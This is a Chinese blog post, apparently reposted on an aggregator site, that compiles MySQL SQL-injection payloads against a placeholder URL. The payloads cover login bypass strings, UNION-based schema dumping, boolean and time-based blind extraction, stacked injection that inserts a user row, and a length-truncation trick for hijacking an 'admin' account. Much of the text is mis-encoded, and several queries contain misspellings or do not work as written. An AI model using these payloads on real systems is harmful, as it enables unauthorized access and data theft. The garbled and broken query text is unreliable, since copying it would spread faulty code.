mysql 多行拼接注入_MySQL注入汇总
Mysql注釋符:
單行注釋: # 在對(duì)URL使用過程中可能遇到Unicode編碼問題,可常用%23代替
多行注釋:/**/
單行注釋: -- 此處需要注意后面存在空格,否則報(bào)錯(cuò)
0.萬能密碼
(基于SQL驗(yàn)證,SQL注入)
aaa' or 1#
aaa' or 1; -- 會(huì)導(dǎo)致不成功,應(yīng)為注釋掉了sql語句拼接的單引號(hào),導(dǎo)致無法完成查詢
aaa' or 1; -- aaaaa
aaa' or 1; /******
(基于%00截?cái)嗬@過)
aa' or 1 %00/*
aa' or 1 %001451618646415:擾亂判定
1.UNION聯(lián)合注入
前置關(guān)鍵詞:union ;order by;limit;
union:使用時(shí)需要于前置查詢結(jié)果列數(shù)相同
order by :可用于對(duì)指定列進(jìn)行排序
limit a,b:取出查詢的從a開始b個(gè)的指定位置數(shù)據(jù)
前置關(guān)鍵函數(shù):database(); version();user(); database():當(dāng)前數(shù)據(jù)庫(kù)
關(guān)鍵數(shù)據(jù)庫(kù):information_schema
思路:直接查詢
獲取union前查詢語句的列數(shù)
例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通過使用order by 排序來判定列數(shù)
假設(shè)已知列數(shù)為3,可進(jìn)一步使用聯(lián)合查詢執(zhí)行關(guān)鍵函數(shù)
例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通過使用order by 排序來判定列數(shù)
查詢?cè)摦?dāng)前數(shù)據(jù)庫(kù)test有多少表
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通過使用information_schema的tables屬性查詢表,結(jié)合limit逐個(gè)查詢
查詢?cè)摦?dāng)前表testTable字段信息
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通過使用information_schema的cloumns屬性查詢表字段,結(jié)合limit逐個(gè)查詢。
注意:TABLE_NAME='testTable' 建議將testTable的16進(jìn)制寫入進(jìn)行替換
擴(kuò)展,可以使用concat(a,'--',b)函數(shù)可以將查詢到的兩個(gè)結(jié)果進(jìn)行拼接,一般用于賬號(hào)于密碼md5值對(duì)應(yīng)
2.BOOL布爾注入(盲注)
前置關(guān)鍵函數(shù):mid() ;ord();length();
mid(str,1,2):字符串截取函數(shù)
ord():轉(zhuǎn)為ascii碼
length():統(tǒng)計(jì)長(zhǎng)度
思路:可以進(jìn)行逐個(gè)字符爆破猜解
使用and或者or進(jìn)行測(cè)試
例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23
猜測(cè)數(shù)據(jù)庫(kù)長(zhǎng)度是否為3
例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23
猜測(cè)數(shù)據(jù)庫(kù)名
例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23
通過截取數(shù)據(jù)庫(kù)名的第一字符并轉(zhuǎn)至為ascii與數(shù)字不斷比較猜測(cè)
完成數(shù)據(jù)庫(kù)名測(cè)試后,開始爆破表數(shù)量
例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23
完成表數(shù)量測(cè)試后,開始爆破表名
例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23
3.SLEEP延時(shí)注入(盲注)
前置關(guān)鍵函數(shù):sleep(),if();
sleep():指定睡眠時(shí)間
if():類似于編程的三元表達(dá)式
例如猜測(cè)數(shù)據(jù)庫(kù)長(zhǎng)度
例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23
后面同布爾注入思路相同,逐個(gè)猜測(cè)即可
4.堆疊注入(Stacked Injection)
前置知識(shí):SQL語法
注意:該方法不適用于Oracle數(shù)據(jù)庫(kù)
利用原理:通過;來構(gòu)造執(zhí)行多條語句
例如可以插入信息,當(dāng)然前提知道可以插入的字段,數(shù)據(jù)表等
例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23
后面思路可以執(zhí)行SQL語句的思路來進(jìn)行更關(guān)鍵的數(shù)據(jù)獲取,增刪查改等操作
5.基于約束型注入
前置知識(shí):SQL語法
利用原理:由于管理員在創(chuàng)建數(shù)據(jù)庫(kù)時(shí)可能對(duì)字段長(zhǎng)度進(jìn)行約束,輸入是超過其長(zhǎng)度限制,利用系統(tǒng)截?cái)喙δ芴幚?#xff0c;一般常用于insert中進(jìn)行覆蓋等,多見于CTF題型中
例如20個(gè)字符以內(nèi)varchar(20),存儲(chǔ)用戶名為admin可在賬戶注冊(cè)部分進(jìn)行測(cè)試
例如:注冊(cè)賬戶設(shè)置為admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通過填充空格數(shù)進(jìn)行惡意注冊(cè),利用數(shù)據(jù)庫(kù)自行截?cái)喙δ?#xff0c;獲取的內(nèi)容將變?yōu)閍dmin(若代碼存在清除空格)
6.GET型注入
7.POST型注入
8.Cookie注入
9.搜索型注入
10.寬字節(jié)注入
11.二次注入
12.Insert注入
13.報(bào)錯(cuò)型注入
14.二次編碼注入
15.DNSlog注入(盲注)
資料參考
后記
由于本人技術(shù),精力有限,導(dǎo)致sql注入類型只是完成前5個(gè)詳細(xì)說明,其他進(jìn)行了列舉,但是后期會(huì)抽出時(shí)間進(jìn)行更新,以上內(nèi)容有參考網(wǎng)上其他文章,已經(jīng)列舉至參考資料一欄,若存在錯(cuò)誤,請(qǐng)大家予以斧正,若需商業(yè)化使用,請(qǐng)及時(shí)告知,謝謝。歡迎技術(shù)交流QQ:3300744526
總結(jié)
以上是生活随笔為你收集整理的mysql 多行拼接注入_MySQL注入汇总的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 东风系列是什么导弹 来看看导弹系列
- 下一篇: 英语四级答题技巧?掌握这7个答题技巧轻松